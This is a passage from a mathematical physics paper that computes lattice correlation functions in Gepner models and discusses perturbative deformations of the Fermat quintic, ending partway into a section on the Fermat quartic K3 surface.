and $b$ of the same weights and symmetrize the resulting
correlation function with respect to $x$ and $y$.}$$]{} We will choose $b$ first. Again, we will choose the bottom weight (nonzero) descendant of [(\[eexam13\])]{} applied to itself renamed as [$$\label{eexam19}(0,5,-3)x_{-1}(-2,0,-2)\otimes (2,2,2),$$]{} which is [$$\label{eexam20}(-4,3,-1)\otimes (4,3,1).$$]{} We rename to level $0$, which gives [$$\label{eexam21}\begin{array}{l}
b=(0,5,3)x_{-1}(-4,0,2)\otimes (0,5,-3)x_{-1}(4,0,-2),\\
w(b)=12/5.
\end{array}$$]{} Then $a$ must have weight $12/5$ to satisfy [(\[eexam18a\])]{}. When calculating $a$, however, there is an additional subtlety. This time, we have actually take into account two summands, from applying [(\[eexam13\])]{} to [(\[eexam14\])]{} and vice versa, i.e. [(\[eexam14\])]{} to [(\[eexam13\])]{}. In both cases, we must rename to get the desired fusion rule. To this end, we may replace [(\[eexam14\])]{} by [$$\label{eexam22}(3,0,0)\otimes (-3,2,0).$$]{} However, when applying [(\[eexam13\])]{} and [(\[eexam22\])]{} to each other in opposite order, the renamings then do not correspond, resulting in the possibility of wrong coefficient/sign (since renaming are correct only up to constants which we haven’t calculated). To reconcile this, we must use exactly the same renamings step by step, related only by applying PF currents. To this end, we may compare the renaming of applying [$$\label{eexam23}(0,5,-3)x_{-1}(-2,0,-2)\otimes (2,2,2)$$]{} to [$$\label{eexam24}(3,0,0)\otimes \frac{1}{2}(0,5,-3)x_{-1}(-3,1,-3)$$]{} (the $\frac{1}{2}$ comes from the PF current $(5,-3)x_{-1}(0,-2)$ which takes $(2,2)$ to $2(2,0)$) and [$$\label{eexam25}(3,0,0)\otimes (-3,2,0)$$]{} to [$$\label{eexam26}(0,5,-3)x_{-1}(-2,0,-2)\otimes (2,1,-1).$$]{} We see that the bottom descendant of applying [(\[eexam23\])]{} to [(\[eexam24\])]{} is [$$\label{eexam27}(0,5,-3)x_{-1}(1,0,-2)\otimes(-1)(-1,3,-1)$$]{} while the bottom descendant of applying [(\[eexam25\])]{} to [(\[eexam26\])]{} is [$$\label{eexam28}(0,5,-3)x_{-1}(1,0,-2)\otimes(-1,3,-1).$$]{} The expression [(\[eexam27\])]{} is the negative of [(\[eexam28\])]{}. On the other hand, we see that the bottom descendants of applying [(\[eexam13\])]{} to [(\[eexam22\])]{} and vice versa are the same. This means that we are allowed to use the names [(\[eexam13\])]{} and [(\[eexam22\])]{} to each other in either order, but we must take the results with opposite signs.
Now [(\[eexam28\])]{} has weight $7/5$, so to get weight $12/5$, we must take the descendant of applying [(\[eexam13\])]{} to [(\[eexam22\])]{} and vice versa which is of weight $1$ higher than the bottom. This gives $$\begin{array}{l}
((-2,3,1)-(3,0,0))x_{-1}(1,3,1)\otimes (-1,3,-1)+\\
(1,3,1)\otimes ((2,1,-1)-(-3,2,0))x_{-1}(-1,3,-1),
\end{array}$$ which is [$$\label{eexam29}
a=(-5,3,1)x_{-1}(1,3,1)\otimes (-1,3,-1)+(1,3,1)\otimes (5,-1,-1)x_{-1}(-1,3,-1).$$]{} Now the correlation function of $a(x)$, $b(y)$, $c(z)$ given in [(\[eexam29\])]{}, [(\[eexam21\])]{}, [(\[eexam17\])]{} is an ordinary lattice correlation function. The algorithm for calculating the lattice correlation function of fields $u_i(x_i)$ which are of the form $$1_{\lambda_i}(x_i)$$ or $$\mu_i x_{-1} 1_{\lambda_i}(x_i)$$ with the label $$1_{\sum \lambda_i}$$ is as follows: The correlation function is a multiple of $${\begin{array}{c}
{\scriptstyle }\\
\prod\\
{\scriptstyle i<j}\end{array}}(x_i-x_j)^{\langle \lambda_i,\lambda_j\rangle}$$ by a certain factor, which is a sum over all the ways we may “absorb" any $\mu_i x_{-1}$ factors. Each such factor may either be absorbed by another $\mu_j x_{-1}$, which results in a factor [$$\label{eexam30}\langle\mu_i,\mu_j\rangle (x_i-x_j)^{-2},\; i\neq j$$]{} or by another lattice label $1_{\lambda_j}$, which results in a factor [$$\label{eexam31}\langle\mu_i,\lambda_j\rangle (x_i-x_j)^{-1},\; i\neq j.$$]{} Each $\mu_i x_{-1}$ must be absorbed exactly once (and the mechanism [(\[eexam30\])]{} is considered as absorbing both $\mu_i$ and $\mu_j$), but one lattice label $1_{\lambda_j}$ may absorb several different $\mu_i x_{-1}$’s via [(\[eexam31\])]{}.
Evaluating the correlation function of $a(x)$, $b(y)$, $c(z)$ with the vacuum using this algorithm, we get $$\frac{2(y-z)}{(x-z)(x-y)^3}.$$ Symmetrizing with respect to $x,y$, we get $$\frac{2(x-2z+y)}{(y-z)(x-z)(x-y)^2},$$ (our total correlation function factor), which is non-zero.
In more detail, we can calculate separately the contributions to the correlation function of the two summands [(\[eexam29\])]{}. For the first summand, the factor before the $\otimes$ sign contributes [$$\label{eexami1}-\frac{1}{(x-z)(y-x)},$$]{} the factor after the $\otimes$ sign contributes [$$\label{eexami2}\frac{1}{y-x}.$$]{} Multiplying [(\[eexami1\])]{} and [(\[eexami2\])]{}, we get $$-\frac{1}{(x-z)(x-y)^2},$$ and symmetrizing with respect to $x$ and $y$, [$$\label{eexami3}-\frac{x-2z+y}{(x-z)(x-y)^2(y-z)},$$]{} which is the total contribution of the first summand [(\[eexam29\])]{}.
For the second summand [(\[eexam29\])]{}, the factor after $\otimes$ contributes [$$\label{eexami4}-\frac{2}{(x-y)^2}-\frac{1}{(x-z)(y-x)},$$]{} and the factor before the $\otimes$ sign contributes [$$\label{eexami5}\frac{1}{y-x}.$$]{} Multiplying, we get $$\frac{x-2z+y}{(x-z)(x-y)^3}.$$ After symmetrizing with respect to $x,y$, we get also [(\[eexami3\])]{}, so both summands of [(\[eexam29\])]{} contribute equally to the correlation function.
[**Example 2:**]{} In this example, we keep the same $a(x)$ and $b(y)$ as in the previous example, but change $c(z)$. To select $c(z)$, this time we start with $G^{-}_{-1/2}u$ represented as [$$\label{eexam32}(3,0,0)\otimes (0,5,-3)x_{-1}(-3,1-3)
+C(-2,3,1)\otimes (2,1,-1)$$]{} ($C$ is a non-zero normalization constant which we do not need to evaluate explicitly), which we apply to $\overline{u}$ represented as [$$\label{eexam33}(-3,0,0)\otimes (-2,1,1).$$]{} From the two summands [(\[eexam32\])]{}, we get bottom descendants [$$\label{eexam34}(0,0,0)\otimes (-5,2,-2)\;\text{of weight $9/10$}$$]{} and [$$\label{eexam35}(-5,3,1)\otimes (0,2,0)\;\text{of weight $19/10$}.$$]{} Therefore, we may ignore [(\[eexam35\])]{} and select [(\[eexam34\])]{} only. Now applying [(\[eexam34\])]{} to $u$ written as [$$\label{eexam36}(3,0,0)\otimes (2,1,-1),$$]{} we select a descendant of weight $1$ above the label $$(3,0,0)\otimes (-3,3,-3).$$ Recalling from the conjugate of [(\[eFst2\])]{} that weight $1$ states above the label $(3,-3)_{PF}=(0,0)_{PF}$ must vanish, we get [$$\label{eexam37}c=(3,0,0)\otimes (1,0,0)x_{-1}(-3,0,0)$$]{} (up to a non-zero multiplicative constant). This gives the correlation function [$$\label{eexam38}\frac{(x-2z+y)^2}{5(y-z)^2(x-z)^2(x-y)^2}.$$]{} Let us write again in more detail the contributions of the two summands [(\[eexam29\])]{}. For the first summand, the contribution of the factor before $\otimes$ is again [(\[eexami1\])]{} (hasn’t changed), and the contribution of the factor after $\otimes$ is [$$\label{eexamj1}\frac{-y-3z+4x}{15(y-z)(x-z)(x-y)}.$$]{} Multiplying, we get $$\frac{-y-3z+4x}{15(y-z)^2(x-z)^2(x-y)},$$ and symmetrizing with respect to $x$, $y$, [$$\label{eexamj2}-\frac{y^2+6yz-6z^2-8xy+6zx+x^2}{15(y-z)^2(x-z)^2(x-y)^2}.$$]{} This is the total contribution of the first summand [(\[eexam29\])]{}.
For the second summand [(\[eexam29\])]{}, the coordinate before $\otimes$ contributes again [(\[eexami5\])]{}, and the coordinate after $\otimes$ contributes [$$\label{eexamj3}\frac{2(-yx-3yz-3xz+3z^2+2x^2+2y^2)}{
15(y-z)(x-z)^2(x-y)^2}.$$]{} Multiplying, we get $$-\frac{-yx-3yz-3xz+3z^2+2x^2+2y^2}{15(y-z)(x-z)^2(x-y)^3}.$$ Symmetrizing with respect to $x,y$, we get [$$\label{eexamj4}\frac{2(-yx-3yz-3xz+3z^2+2x^2+2y^2)}{15(y-z)^2(x-z)^2(x-y)^2}$$]{} which is the total contribution of the second summand [(\[eexam29\])]{}. Adding the contributions [(\[eexamj2\])]{} and [(\[eexamj4\])]{} (which are not equal in this case) gives [(\[eexam38\])]{}.
The remainder of this Section is dedicated to comments on possible perturbative deformations along the fields $(1^5,1^5)$, $(-1^5,1^5)$ (the exponent here denotes repetition of the field in a tensor product, and $1$ again stands for $(1,1,1)_{MM}$, etc.). We will present some evidence (although not proof) that the obstruction might vanish in this case. The results we do obtain will prove useful in the next Section. Such conjecture would have a geometric interpretation. In Gepner’s conjectured interpretation of the model we are investigating as the $\sigma$-model of the Fermat quintic, the field [(\[eg20\])]{} corresponds to the dilaton. It seems reasonable to conjecture that the dilaton deformation should exist, since the theory should not choose a particular global size of the quintic. Similarly, the field [(\[eg19\])]{} can be explained as the dilaton on the mirror manifold of the quintic, which should correspond to deformations of complex structure of the form [$$\label{eg65}x^5+y^5+z^5+t^5+u^5+\lambda xyztu=0.$$]{} Therefore, our analysis predicts that the (body of) the moduli space of $N=2$-supersymmetric CFT’s containing the Gepner model is $2$-dimensional, and contains $\sigma$-models of the quintics [(\[eg65\])]{}, where the metric is any multiple of the metric for which the $\sigma$-model exists (which is unique up to a scalar multiple).
To discuss possible deformations along the fields $(1^5,1^5)$, $(-1^5,1^5)$, let us first review a simpler case, namely the coset construction: In a VOA $V$, we set, for $u\in V$ homogeneous, [$$\label{eg66}\begin{array}{l}
Y(u,z)={\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle n\in\Z}\end{array}}u_{-n+w(u)}z^n,\\
Y_{-}(u,z)={\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle n<0}\end{array}}u_{-n+w(u)}z^n,\\
Y_{+}(u,z)=Y(u,z)-Y_{-}(u,z).
\end{array}$$]{} The coset model of $u$ is [$$\label{eg67}\begin{array}{l}V_{u}=\\
\langle v\in V|Y_{-}(u,z)v=0\;
\text{and $Y_{+}(u,z)$ involves only integral powers of $z$}
\rangle.
\end{array}$$]{} Then $V_u$ is a sub-VOA of $V$. To see this, recall that [$$\label{eg68}
Y(u,z)Y(v,t)w=\\
Y_{+}(u,z)Y_{-}(v,t)w+Y_{+}(v,t)Y_{-}(u,z)w+Y(Y_{-}(u,z-t)v)w.$$]{} When $v,w\in V_u$, the last two terms of the right hand side of [(\[eg68\])]{} vanish, which proves that $$Y(v,t)w\in V_u[[t]][t^{-1}].$$ Now in the case of $N=2$-super-VOA’s, let us stick to the NS sector. Then [(\[eg66\])]{} still correctly describes the “body” of a vertex operator. The complete vertex operator takes the form [$$\label{eg69}\begin{array}{l}
Y(u,z,\theta^+,\theta^-)=\\
{\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle n\in\Z}\end{array}}
u_{-n+w(u)}z^n+u_{-n-1/2+w(u)}^{+}z^n\theta^+
+u_{-n-1/2+w(u)}^{-}z^n\theta^-
+u_{-n-1+w(u)}^{\pm}z^n\theta^+\theta^-.
\end{array}$$]{} We still define $Y_{-}(u,z,\theta^+,\theta^-)$ to be the sum of terms involving $n<0$, and $Y_+(u,z,\theta^+,\theta^-)$ the sum of the remaining terms. The compatibility relations for an $N=2$-super-VOA are [$$\label{eg70}\begin{array}{l}
D^+Y(u,z,\theta^+,\theta^-)=Y(G^{+}_{-1/2}u,z,\theta^+,\theta^-)\\
D^-Y(u,z,\theta^+,\theta^-)=Y(G^{-}_{-1/2}u,z,\theta^+,\theta^-)
\end{array}$$]{} where [$$\label{eg71}D^+=\frac{\partial}{\partial\theta^+}+\theta^+\frac{\partial}{
\partial z},\;\;
D^-=\frac{\partial}{\partial\theta^-}+\theta^-\frac{\partial}{
\partial z}.$$]{} Now using [(\[eg68\])]{} again, for $u\in V$ homogeneous, we will have a sub-$N=2$-VOA $V_u$ defined by [(\[eg67\])]{}, which is further endowed with the operators $G^{-}_{-1/2}$, $G^{+}_{-1/2}$.
In the case of lack of locality, only a weaker conclusion holds. Assume first we have “abelian” fusion rules in the same sense as in Remark 2 after Theorem \[l1\].
\[l2\] Suppose we have fields $u_i, i=0,...,n$ such that for $i>j$, [$$\label{ecos1}Y(u_i,z)u_j={\begin{array}{c}
{\scriptstyle }\\
\sum\\
{\scriptstyle n\geq 0}\end{array}}(u_i)_{-n-\alpha_{ij}-w(u_i)}
z^{n+\alpha_{ij}}$$]{} with $0\leq \alpha_{ij}<1$. Consider further points $z_0=0$, $z_1,...,z_n$. Then [$$\label{ecos2}{\begin{array}{c}
{\scriptstyle }\\
\prod\\
{\scriptstyle n\geq i>j\geq 0}\end{array}}
(z_i-z_j)^{-\alpha_{ij}}Y(u_n,z_n)...Y(u_z,z_1)u_0$$]{} where each $(z_i-z_j)^{-\alpha_{ij}}$ are expanded in $z_j$ is a power series whose coefficients involve nonnegative integral powers of $z_0,...,z_n$ only.
Induction on $n$. Assuming the statement is true for $n-1$, note that by assumption, [(\[ecos2\])]{}, when coupled to $w^{\prime}\in V^{\vee}$ of finite weight, is a meromorphic function in $z_n$ with possible singularities at $z_0=0,z_1,...,z_n-1$. Thus, [(\[ecos2\])]{} can be expanded at its singularities, and is equal to [$$\label{ecos3}
\begin{array}{l}
{\begin{array}{c}
{\scriptstyle }\\
\prod\\
{\scriptstyle n-1\geq i>j\geq 0}\end{array}}(z_i-z_j)^{-\alpha_{ij}}\cdot\\
( (z_{n}^{-\alpha_{n0}}expand_{z_n}{\begin{array}{c}
{\scriptstyle }\\
\prod\\
{\scriptstyle j\neq 0}\end{array}}(z_n-z_j)^{-\alpha_{nj}}
Y(u_{n-1},z_{n-1})...Y(u_1,z_1)Y(u_n,z_n)u_0)_{z_{n}^{<0}}\\
+({\begin{array}{c}
{\scriptstyle n-1}\\
\sum\\
{\scriptstyle i=1}\end{array}}(z_n-z_i)^{-\alpha_{ni}}
expand_{(z_n-z_i)}({\begin{array}{c}
{\scriptstyle }\\
\prod\\
{\scriptstyle n-1\geq j\neq i}\end{array}}(z_n-z_j)^{-\alpha_{nj}})\cdot\\
Y(u_{n-1},z_{n-1})...Y(u_{i+1},z_{i+1})Y(Y(u_n,z_n-z_i)u_i,z_i)\cdot\\
Y(u_{i-1},z_{i-1})...Y(u_1,z_1)u_0)_{(z_n-z_i)^{<0}}\\
+(z_{n}^{-\alpha_{n0}-...-\alpha_{n,n-1}}expand_{1/z_n}{\begin{array}{c}
{\scriptstyle n-1}\\
\prod\\
{\scriptstyle j=1}\end{array}}
(1-\frac{z_j}{z_n})^{-\alpha_{nj}}\cdot\\
Y(u_n,z_n)Y(u_{n-1},z_{n-1})...Y(u_1,z_1)u_0)_{z_{n}^{\geq 0}}).
\end{array}$$]{} In [(\[ecos3\])]{}, $expand_{?}(?)$ means that the argument is expanded in the variable given as the subscript. The symbol $(?)_{?^{<0}}$ (resp. $(?)_{?^{\geq 0}}$) means that we take only terms in the argument, (which is a power series in the subscript), which involve negative (resp. non-negative) powers of the subscript.
In any case, by the assumption of the Lemma, all summands [(\[ecos3\])]{} vanish with the exception of the last, which is the induction step.
In the case of non-abelian fusion rules, an analogous result unfortunately fails. Assume for simplicity that [$$\label{efff+}\parbox{3.5in}{$u_0=...=u_n$ holds in {(\ref{ecos3})}
with $0\leq \alpha_{ij}^{F}<1$ true for any fusion rule $F$.}$$]{} We would like to conclude that the correlation function [$$\label{e10l1}\langle v, u(z_n)...u(z_1)u\rangle$$]{} involves only non-negative powes of $z_i$ when expanded in $z_1,...,z_n$ (in this order). Unfortunately, this is not necessarily the case. Note that we know that [(\[e10l1\])]{} converges to $0$ when two of the argument $z_i$ approach while the others remain separate. However, this does not imply that the function [(\[e10l1\])]{} converges to $0$ when three or more of the arguments approach simultaneously.
To give an example, let us consider the solution of the Fuchsian differential equation of $\P^1-\{0,t,\infty\}$ [$$\label{efff*}y^\prime=(\frac{A}{x}+\frac{B}{z-t})y$$]{} for square matrices $A,B$ (with $t\neq 0$ constant). Since the solution $y$ has bounded singularities, multiplying $y$ by $z^m(z-t)^n$ for large enough integers $m$, $n$ makes the resulting function $Y$ converge to $0$ when $z$ approaches $0$ or $t$. If, however, the expansion of $Y$ at $\infty$ involved only non-negative powers of $z$, it would have only finitely many terms, and hence abelian monodromy. It is well known, however, that this is not necessarily the case. In fact, any irreducible monodromy occurs for a solution of the equation [(\[efff\*\])]{} for suitable matrices $A$, $B$ (cf. [@anbo]).
Therefore, the following result may be used as evidence, but not proof, of the exponentiability of deformations along $(1^5, 1^5)$ and $(1^5,-1^5)$.
\[l20\] The assumption [(\[efff+\])]{} is satisfied for the field $$u=G^{-}_{-1/2}((1,1,1),...,(1,1,1))$$ in the $5$-fold tensor product of the $N=2$ minimal model of central charge $9/5$.
Before proving this, let us state the following consequence:
Indeed, assuming Lemma \[l20\] and setting $w=((1,1,1),...,(1,1,1))$, the obstruction is [$$\label{e10t2}\langle w^{\prime}| (G^{-}_{-1/2})w(z_n)...
(G^{-}_{-1/2}w)(z_1)w\rangle.$$]{} (The antichiral primary case is analogous.) But using the fact that $$G^{-}_{-1/2}((G^{-}_{-1/2})w(z_n)...
(G^{-}_{-1/2}w)(z_1)w)=(G^{-}_{-1/2})w(z_n)...
(G^{-}_{-1/2}w)(z_1)G^{-}_{-1/2}w$$ along with injectivity of $G^{-}_{-1/2}$ on chiral primaries of weight $1/2$, we see that the non-vanishing of [(\[e10t2\])]{} implies the non-vanishing of [(\[e10l1\])]{} with $u=G^{-}_{-1/2}w$ for some $v$ of weight $1$, which would contradict Lemma [(\[l20\])]{}.
[**Proof of Lemma \[l20\]:**]{} We have [$$\label{e20l3a}G^{-}_{-1/2}(1,1,1)=(-4,1,-1).$$]{} We have in our lattice [$$\label{e20l3}\begin{array}{l}
(1,1,1)\cdot(1,1,1)=1/15+1/10-1/6=0,\\
(-4,1,-1)\cdot(-4,1,-1)=16/15+1/10-1/6=1,\\
(1,1,1)\cdot (-4,1,-1)=-4/15+1/10+1/6=0,
\end{array}$$]{} so we see that with the fusion rules which stays on levels $1,2$, the vertex operators $u(z)u$ have only non-singular terms.
However, this is not sufficient to verify [(\[efff+\])]{}. In effect, when we use the fusion rule which goes to levels $0,3$, $$(1,1,1)(z)(-4,1,-1)$$ and $$(-4,1,-1)(z)(1,1,1)$$ will have most singular term $z^{-2/5}$, so when we write again $1$ instead of $(1,1,1)$ and $G$ instead of $G^{-}_{-1/2}(1,1,1)$, with the least favorable choice of fusion rules, it seems $u(z)u$ can have singular term $z^{-4/5}$, coming from the expressions [$$\label{e20l4}(G1111)(z)(1G111)$$]{} and [$$\label{e20l5}(1G111)(z)(G1111)$$]{} (and expression obtained by permuting coordinates). Note that with other combinations of fusion rules, various other singular terms can arise with $z^{>-4/5}$.
Now the point is, however, that we will show that with any choice of fusion rule, the most singular terms of [(\[e20l4\])]{} and [(\[e20l5\])]{} come with opposite signs and hence cancel out. Since the $z$ exponents of other terms are higher by an integer, this is all we need.
Recalling the Koszul-Milnor sign rules for the minimal model, recall that $1$ is odd and $G$ is even, so [$$\label{e20l6}(G\otimes 1)(z)(1\otimes G)=-G(z)1\otimes 1(z)G,$$]{} [$$\label{e20l7}(1\otimes G)(z)(G\otimes 1)=1(z)G\otimes G(z)1.$$]{} We have $$1(z)G=(1,1,1)(z)(-4,2,2)=M(-3,0,0)z^{-2/5}+\text{HOT},$$ $$G(Z)1=(-4,2,2)(z)(1,1,1)=N(-3,0,0)z^{-2/5}+\text{HOT},$$ with some non-zero coefficients $M,N$, so the bottom descendants of [(\[e20l6\])]{} and [(\[e20l7\])]{} are $$-MN(-3,0,0)\otimes(-3,0,0)$$ resp. $$MN(-3,0,0)\otimes(-3,0,0),$$ so they cancel out, as required.
The case of the Fermat quartic $K3$-surface {#sk3}
===========================================
The Gepner model of the $K3$ Fermat quartic is an orbifold analogous to [(\[egepp2\])]{} with $5$ replaced by $4$ of the $4$-fold tensor product of the level $2$ $N=2$-minimal model, although one must be careful about certain subtlteties arising from the fact that the level is even. The model has central charge $6$. The level $2$ PF model is the $1$-dimensional fermion (of central charge $1/2$), viewed as a bosonic CFT. As such, that model has $3$ labels, the NS label with integral weights (denote by $NS$), the NS label with weights $\Z+\frac{1}{2}$ (denote by $NS^{\prime}$), and the R label (denote by $R$). The fusion rules are given by the fact that $NS$ is the unit label, [$$\label{ek31}\begin{array}{l}NS^{\prime}*NS^{\prime}=NS,\\
NS^{\prime} *R=R,\\
R*R=NS +NS^{\prime}.
\end{array}$$]{} We shall again find it useful to use the free field realization of the $N=2$ minimal model, which we used in the last two sections. In the present case, the theory is a subquotient of a lattice theory spanned by $$(\frac{1}{\sqrt{2}},0,0),\; (\frac{1}{\sqrt{8}},\frac{i}{\sqrt{8}},
\frac{i}{2}),\;(\frac{1}{\sqrt{2}},0,i).$$ Analogously as before, we write $(k,\ell,m)$ for $$(\frac{k}{\sqrt{8}},\frac{\ell i}{\sqrt{8}},\frac{mi}{2}).$$ The conformal vector is $$\frac{1}{2}x_{0,-1}^{2}-\frac{1}{2}x_{1,-1}^{2}+\frac{i}{2\sqrt{2}}
x_{1,-2}+\frac{1}{2}x_{2,-1}^{2}.$$ The superconformal vectors are $$G_{-3/2}^{-}=(0,4,2)x_{-1}(4,0,2),$$ $$G_{-3/2}^{+}=(0,4,-2)x_{-1}(-4,0,-2).$$ The fermionic labels will again be denoted by omitting the first coordinate: $(\ell,m)_F$. The fermionic identifications are: [$$\label{ek3+}\begin{array}{l}(2,2)_F\sim (2,-2)_F \sim (0,0)_F\\
(1,1)_F\sim (1,-1)_F.
\end{array}$$]{} A priori the lattice $\langle\sqrt{8}\rangle$ has $8$ labels $\frac{k}{\sqrt{8}}$, $0\leq k\leq 7$, but the $G^-$ definition together with [(\[ek3+\])]{} forces the MM identification of labels $$(1,1,1)\sim (-3,1,-1)\sim (-3,1,1).$$ The labels of the level $2$ MM are therefore $$\begin{array}{l}
(2k,0,0),\;0\leq k\leq 3,\\
(2k+1,1,1),\; 0\leq k\leq 1.
\end{array}$$ The fusion rules are $$\begin{array}{l}
(k,0,0)*(\ell,0,0)=(k+\ell,0,0),\\
(k,0,0)*(\ell,1,1)=(k+\ell,1,1),\\
(k,1,1)*(\ell,1,1)=(k+\ell,0,0)+(k+\ell+4,0,0),
\end{array}$$ so the Verlinde algebra is simply $$\Z[a,b]/(a^4=1,\;b^2=a+a^3,\;a^2b=b)$$ where $a=(2,0,0)$, $b=(1,1,1)$.
One subtlety of the even level MM in comparison with odd level concerns signs. Since the $k$-coordinates of $G^-$ and $G^+$ are even, we can no longer use the $k$-coordinate of an element as an indication of parity ($u$ and $G^{\pm}u$ cannot have the same parity). Because of this, we must introduce odd fusion rules. There are various ways of doing this. For example, let the bottom states of $(2k,0,0)$, $(1,1,1)$ and $(-1,1,1)$ be even. Then the fusion rules on level $\ell=0$ are even, as are the fusion rules combining levels $0$ and $1$. The fusion rules $$(1,1,1)*(1,1,1)\mapsto (2,0,0), \; (1,1,1)*(-1,1,1)\mapsto (2,0,0)$$ are even, the remaining fusion rules (adding $4$ to the $k$-coordinate on the right hand side) are odd.
Now the $c$ fields of the MM are $$(0,0,0),\; (1,1,1), \; (2,2,2)$$ and the $a$ fields are $$(0,0,0), \; (-1,1,-1), \; (-2,2,-2).$$ If we denote by $H_{1,2k+1}$ the state space of label $(2k+1,1,1)$, $0\leq k\leq 1$, and by $H_{0,2k}$ the state space of label $(2k,0,0)$, $0\leq k \leq 3$, them the state space of the $4$-fold tensor product of the level $2$ minimal model is [$$\label{ek3p1}{\begin{array}{c}
{\scriptstyle 3}\\
\hat{\bigotimes}\\
{\scriptstyle i=0}\end{array}}(({\begin{array}{c}
{\scriptstyle 3}\\
\bigoplus\\
{\scriptstyle k_i=0}\end{array}}
H_{0,2k_i}\hat{\otimes}H_{0,2k_i}^{*})\oplus
({\begin{array}{c}
{\scriptstyle 1}\\
\bigoplus\\
{\scriptstyle k_i=0}\end{array}}
H_{1,2k_i+1}\hat{\otimes}H_{1,2k_i+1}^{*})).$$]{} The Gepner model is an orbifold with respect to the $\Z/4$-group which acts by $i^\ell$ on products in [(\[ek3p1\])]{} where the sum of the subscripts $2k_i$ or $2k_i+1$ is congruent to $\ell$ modulo $4$. Therefore, the state space of the Gepner model is the sum over $\beta\in\Z/4$ and $\alpha_i\in\Z/4$, $${\begin{array}{c}
{\scriptstyle 3}\\
\sum\\
{\scriptstyle i=0}\end{array}}\alpha_i=0\in\Z/4,$$ of [$$\label{ek3p2}{\begin{array}{c}
{\scriptstyle 3}\\
\hat{\bigotimes}\\
{\scriptstyle i=0}\end{array}}(({\begin{array}{c}
{\scriptstyle }\\
\bigoplus\\
{\scriptstyle 2k_i\equiv \alpha_i\mod
4}\end{array}}
H_{0,2k_i}\hat{\otimes}H_{0,2k_i+2\beta}^{*})\oplus
({\begin{array}{c}
{\scriptstyle }\\
\bigoplus\\
{\scriptstyle 2k_i+1\equiv\alpha_i}\end{array}}
H_{1,2k_i+1}\hat{\otimes}H_{1,2k_i+1+2\beta}^{*})).$$]{} It is important to note that each summand [(\[ek3p2\])]{} in which all the factors have the “odd” subscripts $1,2k_i+1$ occurs twice in the orbifold state space.
If we write again $\ell$ for $(\ell,\ell,\ell)$ and $-\ell$ for $(-\ell,\ell,-\ell)$, then the critical $cc$ fields are chirally symmetric permutations of [$$\label{ek3p3}\begin{array}{l}
(2,2,0,0),\;(2,2,0,0)\\
(2,1,1,0),\;(2,1,1,0)\\
(1,1,1,1),\;(1,1,1,1).
\end{array}$$]{} Note that applying all the possible permutations to the fields [(\[ek3p3\])]{}, we obtain only $19$ fields, while there should be $20$, which is the rank of $H^{11}(X)$ for a $K3$-surface $X$. However, this is where the preceeding comment comes to play: the last field [(\[ek3p3\])]{} corresponds to a term [(\[ek3p2\])]{} where all the factors have odd subscripts, and hence there are two copies of that summand in the model, so the last field [(\[ek3p3\])]{} occurs “twice”.
By the fact that the Fermat quartic Gepner model has $N=(4,4)$ worldsheet supersymmetry (se e.g. [@am; @nw] and references therein), the spectral flow guarantees that the number of critical $ac$ fields is the same as the number of critical $cc$ fields. Concretely, the critical $ac$ fields are the permutations of [$$\label{ek3p4}\begin{array}{l}
(0,0,-2,-2),\;(2,2,0,0)\\
(0,-1,-1,-2),\;(2,1,1,0)\\
(-1,-1,-1,-1),\;(1,1,1,1).
\end{array}$$]{} As above, the last field [(\[ek3p4\])]{} occurs in $2$ copies, thus the rank of the space of critical $ac$ fields is also $20$.
We wish to investigate whether infinitesimal deformations along the fields [(\[ek3p3\])]{}, [(\[ek3p4\])]{} exponentiate perturbatively. To this end, let us first see when the “coset-type scenario” occurs. This is sufficient to prove convergence in the present case. This is due to the fact that in the present theory, there is an even number of fermions, in which case it is well known by the boson-fermion correspondence that the correlation functions follow abelian fusion rules, and therefore Lemma \[l2\] applies. To prove that the coset scenario occurs, let us look at the chiral $c$ fields $$u=(2,2,0,0), \;(2,1,1,0), \; (1,1,1,1)$$ and study the singularities of [$$\label{ek3q2a}G^{-}_{-1/2}(z)(G^{-}_{-1/2}u).$$]{} By Lemma \[l2\], if [(\[ek3q2a\])]{} are non-singular, the obstructions vanish. The inner product is $$\begin{array}{l}
\langle(k,\ell,m),(k^{\prime},\ell^{\prime},m^{\prime})\rangle
=\frac{kk^{\prime}}{8}+\frac{\ell\ell^{\prime}}{8}-\frac{mm^{\prime}}{4},
\\
w(k,\ell,m)=\frac{k^2}{16}+\frac{\ell(\ell+2)}{16}-\frac{m^2}{8}.
\end{array}$$ Next, $(2,2,2)=(2,0,0)$, $$G^{-}_{-1/2}(2,0,0)=(0,4,-2)x_{-1}(-2,0,-2),$$ $$G^{-}_{-1/2}(1,1,1)=(-3,1,-1).$$ if we again replace, to simplify notation, the symbol $G^{-}_{-1/2}$ by $G$, then we have [$$\label{ek3q3}\parbox{3.5in}{The most singular $z$-power of $2(z)2$
is $\frac{2\cdot 2}{8}=\frac{1}{2}$,}$$]{} [$$\label{ek3q4}\parbox{3.5in}{The most singular $z$-power of $G2(z)2$
is $\frac{-2\cdot 2}{8}=-\frac{1}{2}$.}$$]{} For $G2(z)G2$, rename the rightmost $G2$ as $(-2,2,0)$. We get [$$\label{ek3q5}\parbox{3.5in}{The most singular $z$-power of $G2(z)G2$
is $-1+\frac{(-2)\cdot (-2)}{8}=-\frac{1}{2}$,}$$]{} [$$\label{ek3q6}\parbox{3.5in}{The most singular $z$-power of $1(z)1$
is $0$ for the even fusion rule and $1/2$ for the odd fusion rule,}$$]{} [$$\label{ek3q7}\parbox{3.5in}{The most singular $z$-power of $G1(z)1$
is $\frac{-3}{8}+\frac{1}{8}+\frac{1}{4}=0$ for the even fusion rule,
and $-1/2$ for the odd fusion rule,}$$]{} [$$\label{ek3q8}\parbox{3.5in}{The most singular $z$-power of $G1(z)G1$
is $\frac{9}{8}+\frac{1}{8}-\frac{1}{4}=1$
